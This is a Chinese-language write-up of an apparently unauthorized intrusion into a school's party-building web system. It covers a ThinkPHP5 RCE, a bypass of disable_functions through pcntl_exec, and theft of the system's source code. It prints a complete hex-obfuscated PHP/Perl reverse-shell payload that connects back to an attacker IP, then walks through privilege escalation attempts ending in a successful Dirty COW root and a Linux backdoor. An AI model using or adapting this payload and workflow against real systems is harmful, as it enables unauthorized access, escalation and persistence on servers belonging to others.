從getshell到提權
一、起因
學校推出新的黨建系統,之前黨建系統還參與開發,后來因為一些原因沒有開發,主要想看看這屆工作室的學弟、學妹代碼水平,把源碼擼下來審計一下,工作室用git開發的,記着上一篇文章是通過Githack把源碼一把梭,結果這次再用Githack時擼不下來了,就有了下文了。

二、信息搜集
通過御劍掃到phpinfo.php頁面。
得到網站根目錄:/www/wwwroot/xxx/xxx/public
允許訪問遠程url:allow_url_fopen On
disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
還掃到一個/admin.php文件,如下,發現是FastAdmin開發的

三、RCE
通過查閱資料發現:FastAdmin – 基於ThinkPHP5和Bootstrap的極速后台開發框架,這就聯想到最近爆出的tp5的rce洞,直接找Payload直接打。

讀取數據庫密碼,數據庫能外連,但是用戶不是root,不能udf提權這條提權的路就放棄了:

四、反彈shell
因為禁用了好多執行命令的函數,導致大馬、菜刀的部分功能都不能使,看是否能繞過disable_functions執行命令,查閱資料發現pcntl_exec()函數沒禁用而且服務器支持這個函數:

反彈shell的payload:
<?php
/*******************************
*查看phpinfo編譯參數--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/
$ip = 'xx.xx.xx.xx';
$port = '443';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('寫入'.$file.'失敗');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl擴展';
}
?>
將反彈shell的payload寫入服務器上時,通過瀏覽器上傳這么長的代碼就會上傳內容不全,上面提到allow_url_fopen On開啟,可以用file_get_contents()函數訪問遠程代碼,將payload上傳到我們服務器上,通過如下代碼寫入服務器中。

訪問a.php,本地監聽443端口得到shell

直接把源碼打包擼下來。

五、提權
a.弱口令
彈回來的shell權限是www,查看端口:

發現9999端口開着liunx寶塔面板,直接試試默認口令、數據庫的密碼都登陸不進去,查了些寶塔面板提權也沒找到好的案例,所以這條路放棄了。
b.劫持PATH
利用suid提權,發現一個ksu命令,尷尬的是分析好久這個命令,並沒有向下面文章寫的setuid(0)提權的代碼,提權失敗:

參考這篇文章
c.SUID
情況都試了,也失敗了。
參考這篇文章
d.fakesu
尷尬的發現,www用戶是nologin用戶,不存在自己的家目錄,更沒有.bash_profile這個文件,就不能劫持命令了,這條路也失敗了。其他也找了第三方應用比如gitlab,pgsql什么的,都試了試沒成功。

參考這篇文章
e.臟牛
看了下內核,是centos 7的。本地裝了一個和它版本一樣的系統,本地復現成功,將編譯好的代碼傳到服務器上,最終提權成功。

f.linux后門

代碼擼下來,有空對代碼做下審計再發文章。
最后希望大佬們能討論下,Linux提權還有什么好的方法嗎,集思廣益?
